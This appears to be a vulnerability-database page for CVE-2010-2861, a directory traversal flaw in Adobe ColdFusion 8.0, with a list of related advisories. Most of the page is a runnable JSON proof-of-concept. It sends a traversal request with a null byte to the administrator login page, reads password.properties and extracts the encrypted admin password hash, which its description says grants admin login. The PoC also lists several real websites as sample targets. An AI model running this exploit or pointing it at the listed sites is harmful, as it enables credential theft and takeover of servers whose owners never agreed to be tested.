Adobe ColdFusion <=8.0 - Directory Traversal Vulnerability (CVE-2010-2861)

🗓️ 01 Jul 2014 00:00:00Reported by black_miaType

Adobe ColdFusion <=8.0 - Directory Traversal Vulnerability (CVE-2010-2861) allows unauthorized access to sensitive system files

Reporter	Title	Published	Views	Family All 35
0day.today	Adobe ColdFusion Directory Traversal Vulnerability	14 Aug 201000:00	–	zdt
0day.today	Adobe ColdFusion - Directory Traversal	17 Mar 201100:00	–	zdt
ATTACKERKB	CVE-2010-2861	11 Aug 201000:00	–	attackerkb
BDU FSTEC	The vulnerability of the ColdFusion software platform arises from incorrect path name restrictions for restricted access directories, allowing attackers to read arbitrary files.	8 Feb 202300:00	–	bdu_fstec
canvas	Immunity Canvas: CF_DIRECTORY_TRAVERSAL	11 Aug 201018:47	–	canvas
Circl	CVE-2010-2861	14 Aug 201000:00	–	circl
CISA KEV Catalog	Adobe ColdFusion Directory Traversal Vulnerability	25 Mar 202200:00	–	cisa_kev
CISA	CISA and Partners Release Advisory on Ghost (Cring) Ransomware	19 Feb 202512:00	–	cisa
Tenable Nessus	Adobe ColdFusion 'locale' Parameter Directory Traversal	16 Aug 201000:00	–	nessus
Check Point Advisories	Adobe ColdFusion Directory Traversal (APSB10-18; CVE-2010-2861)	5 Sep 201000:00	–	checkpoint_advisories


                                                {
    "pocInfo": {
        "vulID": "71470",
        "version": "1",
        "name": "Adobe ColdFusion - 跨目录及管理员凭证泄露漏洞",
        "protocol": "http",
        "author": "Jeremie",
        "references": ["http://www.sebug.net/vuldb/ssvid-71470"],
        "appName": "ColdFusion",
        "appVersion" : "8.0",
        "createDate": "1442624949",
        "updateDate": "1442624949",
        "appPowerLink": "http://www.adobe.com/products/coldfusion-family.html",
        "vulDate": "1281715200",
        "vulType": "Information Disclosure",
        "desc" :"Adobe ColdFusion存在一个跨目录及管理员凭证泄露漏洞，导致可获取管理员加密的凭证值，经过转换即可以以管理员身份登录后台。",
        "samples": ["http://powercampus.cuea.edu", "http://cosdashboard.xd.ndorange.com","http://www.smc.edu.au","http://www.pbrmexico.com","http://www.buythiscar.co.nz","http://www.zoo.ch"]
    },

    "pocExecute":{
        "verify": [
            {
                "step": "0",
                "method": "get",
                "vulPath": "/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
                "params": "",
                "necessary": "",
                "headers": {},
                "status": "200",
                "match": {
                    "regex": ["encrypted=true"]
                }
            }
        ],
        "attack": [
            {
                "step": "0",
                "method": "get",
                "vulPath": "/CFIDE/administrator/enter.cfm",
                "params": "locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
                "necessary": "",
                "headers": {},
                "status": "200",
                "match": {
                    "regex": ["encrypted=true"],
                    "time":""
                },
                "result": {
                    "DBInfo": {
                        "Encrypted password": "<regex>[0-9A-F]{40}"
                    }
                }
            }
        ]
    }
}

01 Jul 2014 00:00Current

9.5High risk

Vulners AI Score9.5

EPSS0.99721